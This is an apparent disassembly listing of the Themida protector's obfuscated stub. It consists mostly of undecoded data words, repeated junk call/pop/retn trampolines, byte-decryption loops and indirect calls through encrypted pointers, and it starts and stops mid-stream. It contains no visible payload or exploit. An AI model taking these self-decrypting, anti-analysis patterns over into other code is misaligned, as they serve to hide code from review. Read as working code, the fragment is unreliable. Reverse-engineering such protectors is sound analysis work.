		dd 200F4401h, 0EE937h, 0AC180000h, 7B2FD1FCh, 0D37CA7DAh
		dd 0CA6EAAD7h, 0BD01605Bh, 6151359h, 225BD89h, 0FC610615h
		dd 0B8DFBF0Fh, 0
; ---------------------------------------------------------------------------
		push	0
		push	edx
		call	sub_5C6423
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C6423	proc near		; CODE XREF: Themida_:005C641Bp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 19h
		inc	edx
		push	edx
		retn
sub_5C6423	endp

; ---------------------------------------------------------------------------
		db 0B4h
		dd 71AE3ADAh, 199D8BB3h, 2B061502h, 57006AD2h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1904h,	0C3574700h, 81AFE01Dh
		dd 0D3811C99h, 69B6424Eh, 12E9h, 0B9D15E00h, 0ED057B10h
		dd 116D8F10h, 29B0C9DBh, 0AD59B3CAh, 0E8D1C233h, 0E983D003h
		dd 6AF47504h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 14042444h, 47000000h, 3139C357h, 15256995h, 880D06h
		dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h
		dd 57470000h, 0D981EFC3h, 0B92FFFF5h, 0B59D23D6h, 8B061517h
		dd 15272195h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1804h, 0C3504000h, 512C1C3Fh, 7E94Dh, 1B560000h, 252F5B3Eh
		dd 0CD8D8BE5h, 6A061504h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 17042444h, 41000000h, 0E730C351h,	0BD8B4A3Bh
		dd 6150BA1h, 8BC28B50h,	8BC10318h, 0D1C18B18h, 8BC203E8h
		dd 6A5818h, 3E850h, 58200000h, 448958C3h, 44810424h, 180424h
		dd 50400000h, 0D92B85C3h, 6A79EFh, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 170424h, 53430000h, 0F5B6EBC3h, 0A9BD8346h
		dd 61518h, 9C840Fh, 6A0000h, 3E856h, 5E200000h,	74895EC3h
		dd 44810424h, 170424h, 56460000h, 28CC7FC3h, 0C99D8B5Fh
		dd 0F06151Ch, 68Dh, 618D8900h, 0B806151Ah, 0
; ---------------------------------------------------------------------------
		push	0
		push	ebp
		call	sub_5C65D7
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C65D7	proc near		; CODE XREF: Themida_:005C65CFp

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Ch
		inc	ebp
		push	ebp
		retn
sub_5C65D7	endp

; ---------------------------------------------------------------------------
		adc	eax, 4865194Ah
		sub	eax, 1B09A8Bh
		mov	ebp, 6152585h
		add	edi, [ebp+6151135h]
		lea	ecx, [ebp+6154F9Eh]
		push	0
		push	esi
		call	sub_5C660D
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C660D	proc near		; CODE XREF: Themida_:005C6605p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Ah
		inc	esi
		push	esi
		retn
sub_5C660D	endp

; ---------------------------------------------------------------------------
		db 20h,	8, 0E7h
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		push	cs
		pop	esi
		pop	esp
		mov	edi, [ebp+6152571h]
		jmp	ecx
; ---------------------------------------------------------------------------
		sub	[ebp+6152965h],	edx
		cmp	dword ptr [ebp+6151115h], 0
		jz	loc_5C6ABE
		or	di, 4940h
		cmp	dword ptr [ebp+6151115h], 1
		jz	loc_5C6AD9
		mov	[ebp+61527C1h],	ebx
		cmp	dword ptr [ebp+6151115h], 3
		jbe	loc_5C6AA3
		mov	bx, 1A8Ah
		pusha
		push	0
		push	ebp
		call	sub_5C6674
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C6674	proc near		; CODE XREF: Themida_:005C666Cp

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 15h
		inc	ebp
		push	ebp
		retn
sub_5C6674	endp

; ---------------------------------------------------------------------------
		mov	fs, word ptr [eax-3709207Fh]
		adc	al, 1Bh
		mov	cx, ds
		and	ebx, 2A0032DDh
		and	ebx, [ebp+6150225h]
		and	cl, 4
		push	0
		push	ebp
		call	sub_5C66A9
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C66A9	proc near		; CODE XREF: Themida_:005C66A1p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 19h
		inc	ebp
		push	ebp
		retn
sub_5C66A9	endp

; ---------------------------------------------------------------------------
		db 0AAh, 9Ah, 0B9h
; ---------------------------------------------------------------------------
		dec	ebx
		dec	esi
		lea	ecx, [edx]
		leave
		jz	loc_5C67F6
		push	0
		push	edi
		call	sub_5C66D2
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C66D2	proc near		; CODE XREF: Themida_:005C66CAp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 14h
		inc	edi
		push	edi
		retn
sub_5C66D2	endp

; ---------------------------------------------------------------------------
		dw 0F6Ch
		dd 0E8Ch, 0BD036000h, 615002Dh,	2B158501h, 8B610615h, 15249D85h
		dd 51006A06h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1904h
		dd 0C3514100h, 0C0D932F2h, 9D8B0E5Fh, 6152D41h,	2F819589h
		dd 8B0F0615h, 6, 0FC1BD8Bh, 85330615h, 61519B5h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 2DC35545h, 0B7506F1Bh
		dd 2404891Ah, 6799509h,	6A0615h, 59B8C781h, 4E87D8Ah, 0FF000000h
		dd 0E8001F03h, 5, 335F5BCEh, 0FA8B660Eh, 8F0F505Fh, 0
		dd 424448Bh, 0E87FB460h, 6, 0CCC8D57Ch,	0AE88483h, 6D000000h
		dd 0ADC017FFh, 0A92F2F05h, 615B5A68h, 0BB66008Bh, 44893EE8h
		dd 0F98B0424h, 0AD95FF58h, 8906150Dh, 18BF9985h, 3EE9FC06h
		dd 6A000002h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 19042444h, 45000000h, 0E4FBC355h, 438B542Fh,	2351B589h
		db 15h,	6
; ---------------------------------------------------------------------------


loc_5C67F6:				; CODE XREF: Themida_:005C66C1j
		mov	eax, [ebp+618BF91h]
		jz	loc_5C6808
		xor	[ebp+6152AA1h],	edx


loc_5C6808:				; CODE XREF: Themida_:005C67FCj
		mov	dword ptr [eax], 18h
		push	0
		push	eax
		call	sub_5C6819
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C6819	proc near		; CODE XREF: Themida_:005C6811p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 18h
		inc	eax
		push	eax
		retn
sub_5C6819	endp

; ---------------------------------------------------------------------------
		cwde
		or	edx, [esi]
		or	esp, esp
		or	bx, 0D185h
		mov	esi, [ebp+618BF95h]
		push	0
		push	edi
		call	sub_5C6844
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C6844	proc near		; CODE XREF: Themida_:005C683Cp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 17h
		inc	edi
		push	edi
		retn
sub_5C6844	endp

; ---------------------------------------------------------------------------
		dd 3CC39D0Fh, 13E9h, 0DCF2C100h, 0A0D524ABh, 640012CFh
		dd 505DB220h, 0ED7281E6h, 189D8D89h, 858B0615h,	6150C45h
		dd 14E8h, 90E1C100h, 0DFB64522h, 702072B2h, 0AE43861Fh
		dd 0C373FB18h, 0D595893Ah, 5B061518h, 6A0689h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h
		dd 0DEBD25C3h, 8B55FE07h, 15249D85h, 57006A06h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1904h,	0C3574700h, 2FBBFB20h
		dd 0FE8B2905h, 6A044689h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 15042444h, 46000000h, 27BFC356h, 2A6DB529h
		dd 0D98B0615h, 12E996h,	21350000h, 1E105689h, 0C151AB7h
		dd 0B3075985h, 8A16F884h, 0BF525050h, 1D778214h, 850F310Fh
		dd 6, 820Fh, 585A0000h,	0DD9D8B96h, 0FF06150Bh,	18BF91B5h
		dd 0D3816606h, 0FEB38EBEh, 4E8h, 1F03FF00h, 35BF5000h
		dd 8B1AB5A5h, 66042444h, 8BFA8Bh, 5880Fh, 7BBF0000h, 89774CF7h
		dd 0E8042444h, 13h, 6503BACBh, 40884A9Ah, 0E7641522h, 8F4A7B3Fh
		dd 5BCF8787h, 14E958h, 83680000h, 0C321AF00h, 0C4EB95E0h
		dd 9F99820Bh, 4062446h,	858D7A73h, 618BF99h, 50EFC780h
		dd 4755BF50h, 895F135Ch, 6A2404h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 190424h, 55450000h, 0F7B539C3h, 66BD3660h
		dd 0FFFAD0BFh, 150DAD95h, 57006A06h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1404h,	0C3574700h, 2ABB6637h
		dd 6A6156h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h
		dd 56460000h, 0EFA0B5C3h, 85C7B926h, 6151115h, 3, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 19h, 0E9C35040h, 0B271FFB7h
		dd 78BB6604h, 99BD83B4h, 618BFh, 39840Fh, 0BE90000h, 2D000000h
		dd 86368B39h, 0EE9B08E4h, 3FE9459Fh, 6A000000h,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 16042444h, 43000000h
		dd 9156C353h, 0C1C78158h
		db 0E9h, 0E1h, 62h
; ---------------------------------------------------------------------------


loc_5C6AA3:				; CODE XREF: Themida_:005C665Ej
					; Themida_:005C6ABAj
		push	eax
		xor	[ecx+edx], cl
		add	[ecx+edx+1], al
		shr	eax, 10h
		xor	[ecx+edx+2], al
		add	[ecx+edx+3], cl
		pop	eax
		sub	ecx, 4
		jnz	short loc_5C6AA3
		jmp	short loc_5C6AF4
; ---------------------------------------------------------------------------


loc_5C6ABE:				; CODE XREF: Themida_:005C6639j
					; Themida_:005C6AD5j
		push	eax
		xor	[ecx+edx], al
		add	[ecx+edx+1], ah
		shr	eax, 10h
		xor	[ecx+edx+2], al
		add	[ecx+edx+3], ah
		pop	eax
		sub	ecx, 4
		jnz	short loc_5C6ABE
		jmp	short loc_5C6AF4
; ---------------------------------------------------------------------------


loc_5C6AD9:				; CODE XREF: Themida_:005C664Bj
					; Themida_:005C6AF0j
		push	eax
		shr	eax, 10h
		sub	[ecx+edx+3], ah
		xor	[ecx+edx+2], al
		pop	eax
		sub	[ecx+edx+1], ah
		xor	[ecx+edx], al
		sub	ecx, 4
		jnz	short loc_5C6AD9
		jmp	short $+2


loc_5C6AF4:				; CODE XREF: Themida_:005C6ABCj
					; Themida_:005C6AD7j
		mov	eax, eax
		push	0
		push	esi
		call	sub_5C6B01
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C6B01	proc near		; CODE XREF: Themida_:005C6AF9p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 17h
		inc	esi
		push	esi
		retn
sub_5C6B01	endp

; ---------------------------------------------------------------------------
		db 1Ch,	0BAh, 0CEh
; ---------------------------------------------------------------------------
		mov	ebp, 179DBD23h
		adc	eax, 53006A06h
		call	sub_5C6B26
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C6B26	proc near		; CODE XREF: Themida_:005C6B1Ep

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Ah
		inc	ebx
		push	ebx
		retn
sub_5C6B26	endp

; ---------------------------------------------------------------------------
		dw 0D3D7h
		dd 7ADFAE80h, 0A98BB48h, 0BD8346E6h, 6151115h, 31850F03h
		dd 0F9000004h, 832BCB80h, 18BF99BDh, 840F0006h,	420h, 15820Fh
		dd 9E80000h, 60000000h,	0B5CF593Dh, 0F160E8ADh,	1065BD33h
		dd 0FF5B0615h, 18BF99B5h, 55006A06h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1A04h,	0C3554500h, 39D00D6Bh
		dd 0FCBFB10h, 68Fh, 3D858900h, 0FF061504h, 1510E195h, 4319BF06h
		dd 8BFC2C1Bh, 18BF8DB5h, 41852906h, 0C7061529h,	1000106h
		dd 965B5600h, 0DA8B5250h, 8B66310Fh, 50585ADEh,	5E9h, 3D61E600h
		dd 57963F10h, 0CF9BD89h, 0FF5B0615h, 18BF99B5h,	13810F06h
		dd 0E9000000h, 0Eh, 99B05934h, 0F653AC1Dh, 9E3D6FB4h, 95FF7BE8h
		dd 61506A1h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 17h,	0B5C35646h, 603B3EFBh, 1A4D9D89h, 8B610615h, 18BF8DB5h
		dd 55006A06h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1704h
		dd 0C3554500h, 8CE43A18h, 17F19531h, 858B0615h,	6150059h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 19h, 24C35141h
		dd 1D9DF9EDh, 0C48689C8h, 6A000000h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 15042444h, 45000000h, 0EF25C355h
		dd 2825BD89h, 958B0615h, 6152721h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Ch, 0C3C35141h,	0E96E68Fh, 38289F5Bh
		dd 831BDF80h, 816604C2h, 897A0DD7h, 6A2050h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 140424h, 51410000h, 858DF3C3h
		dd 618D458h, 5C19D0Bh, 86890615h, 0B8h,	0E851006Ah, 3
		dd 59C35920h, 4244C89h,	4244481h, 1Ah, 89C35141h, 0B28D022Dh
		dd 8B57F3C8h, 151CFD9Dh, 0E7815B06h, 17D19D95h,	6A006Ah
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h, 55450000h
		dd 0F8B429C3h, 0D3B952A6h, 0D81BD29h, 0FE80615h, 3000000h
		dd 0FD78A3A5h, 0F2E4E02Ch, 95B19161h, 0BD8BE502h, 615005Dh
		dd 99B5FF5Bh, 6A0618BFh, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 18042444h, 46000000h, 4361C356h, 89630B73h
		dd 15251DBDh, 259D8B06h, 0FF06152Bh, 151D4D95h,	0A1958906h
		dd 57061519h, 8959D8Bh,	505B0615h, 0CE8h, 6617E500h, 55EC2678h
		dd 8CA91BB7h, 14E9600Bh, 81000000h, 17D2F689h, 39548BDh
		dd 0B445D8AEh, 0D4024A34h, 0E99ADF8Eh, 13h, 6EA6BCC4h
		dd 1A42630Eh, 0B357FB2h, 0F8C154BDh, 61383B2Dh,	2434895Fh
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 2EC35343h
		dd 0BB66D002h, 0B5FF2761h, 618BF99h, 4880F56h, 66000000h
		dd 5BF25CBFh, 72995FFh,	0CF810615h, 2BA25792h, 65BD83h
		dd 0F000615h, 2E84h, 0D19D3300h, 6006151Ch, 8899D31h, 8B530615h
		dd 966159D9h, 8E850h, 0EF2B0000h, 6F809A7Bh, 0D8BFDCC9h
		dd 5F0F6E98h, 0FD8D8996h, 0FF06152Fh, 18BF99B5h, 50006A06h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1904h, 0C3504000h
		dd 70412F77h, 9D23FBF6h, 6152EE1h, 10ADBD8Bh, 95FF0615h
		dd 6150439h, 0E96BBF66h, 0BF99B5FFh, 6A0618h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 170424h, 56460000h, 0BA0F1C3h
		dd 0CD95FFFEh, 6A06150Dh, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 18042444h, 40000000h, 853DC350h, 0F921B460h
		dd 58C0Fh, 81660000h, 8390EFCFh, 15285DBDh, 840F0206h
		dd 3Ah,	0AD9D8956h, 5F061510h, 2849858Bh, 0BD8B0615h, 615140Dh
		dd 6A0000C6h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 15042444h, 43000000h, 6539C353h, 27499D8Bh, 85C70615h
		dd 61523F5h, 0
; ---------------------------------------------------------------------------
		jmp	loc_5C6149
; ---------------------------------------------------------------------------
		push	0
		push	edx
		call	sub_5C6F90
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C6F90	proc near		; CODE XREF: Themida_:005C6F88p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Dh
		inc	edx
		push	edx
		retn
sub_5C6F90	endp

; ---------------------------------------------------------------------------
		dd 28C85101h, 211BEF4Bh, 0C18BACF7h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 15h, 0BFC35343h,	0FE8BDh, 658E0000h
		dd 0AE89E967h, 24832C86h, 1D9DF9EDh, 0C9BD2BC8h, 5B061510h
		dd 28598509h, 858D0615h, 615279Dh, 1A498D89h, 0E8500615h
		dd 9, 62B2C6Eh,	254E891h, 5B87B36Eh, 6A240489h,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1C042444h, 40000000h
		dd 0EF17C350h, 0FC396437h, 6A2AB12Ch, 57006A00h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1D04h, 0C3574700h
		dd 0CB2B9FD4h, 0ECA5251h, 6AB747h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 18h, 18C35141h, 0ED38A4DFh, 1C819D8Bh
		dd 858D0615h, 619D742h,	14598589h, 0C0830615h, 4895005h
		dd 0BE924h, 0C1A90000h,	0E1326AFBh, 8629D4A3h, 56006AA5h
		dd 5B88EF80h, 8166006Ah, 0FFF0A1F3h, 15267995h,	8DF98B06h
		dd 189C158Dh, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1C04h, 0C3564600h, 0C7C3EE77h, 2631C300h, 66D1FF5Bh
		dd 0BD83DF8Bh, 6152DB5h, 7E850F01h, 6A000000h, 51006A02h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1904h, 0C3514100h
		dd 3E9B78E1h, 50901CDBh, 5800F52h, 0BF000000h, 1EABB94Dh
		dd 0CE9310Fh, 31000000h, 5AB0C4B2h, 0B965C01Fh,	5A78A2CCh
		dd 0B9B35058h, 57006A90h, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1804h, 0C3574700h, 8F34435h, 4D95FF40h, 6006151Dh
		dd 0EB8CF8Bh, 61383555h, 0D91E24BBh, 104AE975h,	0E80000h
		dd 5D000000h, 0D74CED81h, 6A0619h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1D0424h, 52420000h, 0ED7EADC3h, 12D329BBh
		dd 8A90CBDCh, 0F9858DF9h, 6A061888h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 16042444h, 46000000h, 0E4E9C356h
		dd 0F98B6675h, 608765BFh, 83B3905Ch, 90DF8B50h,	0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 0E1C35141h, 7654ECF7h
		dd 0FF646D61h, 35h, 9DF8000h, 258964h, 6A000000h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 18042444h, 42000000h
		dd 1712C352h, 572A61FDh, 68C0Fh, 0BD8B0000h, 6151A69h
		dd 3585FF5Fh, 6A061515h, 52006AFFh, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1A04h, 0C3524200h, 78B4A933h, 66A60174h
		dd 0FF4A38BFh, 152921B5h, 57006A06h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1804h,	0C3574700h, 0B1022938h
		dd 0EE920h, 6AE20000h, 71941453h, 259E70B9h, 0EFAAAEh
		dd 280D9D8Bh, 95FF0615h, 61508BDh, 135E9h, 0DFBF0F00h
		dd 958900B0h, 6152A5Dh,	8D8970E6h, 6150E01h, 0B70F71E4h
		dd 0F613CDFh, 11583h, 6E85300h,	64000000h, 0EA3FD063h
		dd 5B5FFC7Dh, 0FC8B60Fh, 1881h,	13E900h, 54720000h, 0F7B1A3ECh
		dd 835F6BBCh, 5768C369h, 0C75B165Bh, 6BA28h, 0C18B0000h
		dd 0EE8FC60h, 8D000000h, 79177E17h, 95725916h, 43B6D1C5h
		dd 0E595091Eh, 5B061506h, 4E8C161h, 4A99D8Bh, 0F7660615h
		dd 29DA8BE2h, 150C6D8Dh, 89C82B06h, 15216D85h, 12E806h
		dd 47B60000h, 3258CEAFh, 0F919B677h, 5031E521h,	330FED8Ah
		dd 6840Fh, 0CF810000h, 765B23DEh, 8BD18B5Fh, 1503F59Dh
		dd 74E906h, 0E3810000h,	20719AC5h, 22299589h, 858B0615h
		dd 1, 7E59D89h,	0B5890615h, 6150A95h, 6607C083h, 794BDF81h
		dd 5700C083h, 174DBD01h, 3B5B0615h, 8830FD0h, 8B000000h
		dd 34E9FEh, 8BF50000h, 0FFFFFF8Dh, 0DA8B66FFh, 0F01E183h
		dd 2184h, 3CBB6600h, 0FFA5836Eh, 0FEFFFFFFh, 0E9E78166h
		dd 19589B7h, 89000000h,	1521E5BDh, 0E906h, 0B58D0000h
		dd 6195347h, 2F219D8Bh,	0BD890615h, 6150ACDh, 6A006Ah
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h
		dd 20CE27C3h, 60D2C5FCh, 20FD8D31h, 0B5890615h,	6150DC9h
		dd 8DB58961h, 0FF061517h, 152E2195h, 56006A06h,	3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1C04h,	0C3564600h, 78F2E5D8h
		dd 608BC312h, 0BFF88B7Ah, 4D4DBD47h, 0E8DB9h, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1C04h, 0C3564600h
		dd 0E1E33547h, 53BEA2E2h, 0FCE18368h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Ch, 0CCC35545h,	0A4F1B7FBh, 9BAE441Ah
		dd 6AFCDA8Bh, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1A042444h, 43000000h, 0DA2AC353h, 6CB4FD50h,	15958931h
		dd 89061502h, 15054D8Dh, 0B806h, 6A0000h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 180424h, 51410000h, 0EEA11EC3h
		dd 0BA3CC5h, 6A000000h,	3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 15042444h, 43000000h, 4CAAC353h, 10E9h, 0A1657800h
		dd 0D94C90EBh, 745243CAh, 0D68543B3h, 0C233AD8Bh, 0D003E8D1h
		dd 7504E983h, 51006AF4h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1704h, 0C3514100h, 0E2E3207Bh, 8E9h,	0C6349000h, 90C49262h
		dd 880D0Fh, 6A0000h, 3E850h, 58200000h,	448958C3h, 44810424h
		dd 1B0424h, 50400000h, 3D6729C3h, 0A1AEEA46h, 21958BDEh
		dd 0E9061527h, 0Fh, 9425FC00h, 0E5A94220h, 41C7EAC9h, 0F0EEF58h
		dd 68Eh, 119D0900h, 8B061501h, 1504CD8Dh, 52006A06h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1C04h, 0C3524200h
		dd 8CFA4283h, 4274E332h, 62BF66B5h, 0C28B5074h,	0C103188Bh
		dd 0C18B188Bh, 0C203E8D1h, 6A58188Bh, 3E85100h,	20000000h
		dd 8959C359h, 8104244Ch, 1D042444h, 41000000h, 0F2DCC351h
		dd 0DB8F6EE9h, 292981DFh, 0D5858960h, 0B8061525h, 375A9413h
		dd 318D8961h, 6A061505h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1A042444h, 43000000h, 94DAC353h, 0F275F5AFh
		dd 7E9F568h, 0B5000000h, 25910D92h, 0BD83F797h,	61518A9h
		dd 0B0840F00h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1C042444h, 47000000h, 843EC357h, 3F282C25h
		dd 0E9163AF2h, 7, 0E31A9DA4h, 0B88F501Ch, 0
; ---------------------------------------------------------------------------
		push	0
		push	ebp
		call	sub_5C76BB
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C76BB	proc near		; CODE XREF: Themida_:005C76B3p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 16h
		inc	ebp
		push	ebp
		retn
sub_5C76BB	endp

; ---------------------------------------------------------------------------
		retf	5440h
; ---------------------------------------------------------------------------
		mov	edi, [ebp+615093Dh]
		or	[ebp+6151031h],	edi
		lea	ecx, [ebp+6154F9Eh]
		push	0
		push	edi
		call	sub_5C76EB
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C76EB	proc near		; CODE XREF: Themida_:005C76E3p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 17h
		inc	edi
		push	edi
		retn
sub_5C76EB	endp

; ---------------------------------------------------------------------------
		db 2Fh
		dd 0E92ACE51h, 7, 572A5FFCh, 0F5429AEDh, 6AE1FFh, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 150424h, 57470000h
		dd 830623C3h, 151115BDh, 840F0006h, 533h, 12E8h, 3EBAEC00h
		dd 0B6EE40E4h, 419D5532h, 23BCEFD6h, 66FDFF53h,	5FEA9ABFh
		dd 1115BD83h, 0F010615h, 52584h, 53006A00h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1404h,	0C3534300h, 95896021h
		dd 6150829h, 1D498D01h,	83610615h, 151115BDh, 860F0306h
		dd 4B8h, 0DF8B6652h, 6A605Fh, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1C0424h, 51410000h, 793820C3h, 5B4EF101h
		dd 8B6601DFh, 0D98C66FAh, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Dh, 6C35141h, 5EB5B6ABh, 6E0CE8F9h, 8E8D4h
		dd 8F9D0000h, 82E2090h,	0BF66F0B5h, 0E85F76ECh,	10h, 0C7F311B5h
		dd 27C38EF0h, 33FDC9DEh, 0ACEA0CA4h, 10D2BB66h,	4E1805Bh
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h, 0EC35040h
		dd 8162CFF0h, 13CFA3EFh, 419D8918h, 0A061503h, 5B840FC9h
		dd 89000001h, 150BE995h, 9D858B06h, 66061524h, 0B5CEE381h
		dd 19B58533h, 6A0615h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 140424h, 55450000h, 8B50F2C3h, 240489D8h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 0A1C35747h, 6236DF1Ah
		dd 6AA3E780h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1604h, 0C3554500h, 0E813FE9Dh, 4, 1F03FFh, 0E8605250h
		dd 9, 0F72B8B5Ch, 0D1DFEB86h, 8B665EC8h, 310F61D8h, 9E8h
		dd 6CF5B400h, 833A0180h, 830F1FDAh, 0
; ---------------------------------------------------------------------------
		pop	edi
		pop	edx
		pop	eax
		push	eax
		mov	ebx, 7E1DEDC3h
		mov	eax, [esp+4]
		mov	bx, 398Dh
		mov	eax, [eax]
		mov	bl, 89h
		mov	[esp+4], eax
		mov	ebx, 1FB5F26Eh
		pop	eax
		push	0
		push	eax
		call	sub_5C792A
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C792A	proc near		; CODE XREF: Themida_:005C7922p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Dh
		inc	eax
		push	eax
		retn
sub_5C792A	endp

; ---------------------------------------------------------------------------
		mov	edx, 7DD66F27h
		fsubr	st, st(2)
		rol	byte ptr [esi+5E8DEh], 0
		add	[eax+ebp], ah
		mov	edi, 616060A7h
		mov	[ebp+6150CCDh],	edi
		popa
		pop	ebx
		call	dword ptr [ebp+6150DADh]
		jmp	loc_5C7977
; ---------------------------------------------------------------------------
		dd 0D4A0D40Ch, 7D98DE54h, 58A85DFAh, 6D9BDDFCh
		db 65h,	44h, 23h
; ---------------------------------------------------------------------------


loc_5C7977:				; CODE XREF: Themida_:005C795Fj
		mov	[ebp+618BF99h],	eax
		sub	edi, [ebp+6150865h]
		jmp	loc_5C7B9B
; ---------------------------------------------------------------------------
		push	0
		push	ebp
		call	sub_5C7993
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C7993	proc near		; CODE XREF: Themida_:005C798Bp

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Ah
		inc	ebp
		push	ebp
		retn
sub_5C7993	endp

; ---------------------------------------------------------------------------
		db 0F7h
		dd 23410055h, 858B97C6h, 618BF91h, 8E8h, 7A226F00h, 47620DBDh
		dd 69BD895Bh, 5F061500h, 1800C7h, 6A0000h, 3E856h, 5E200000h
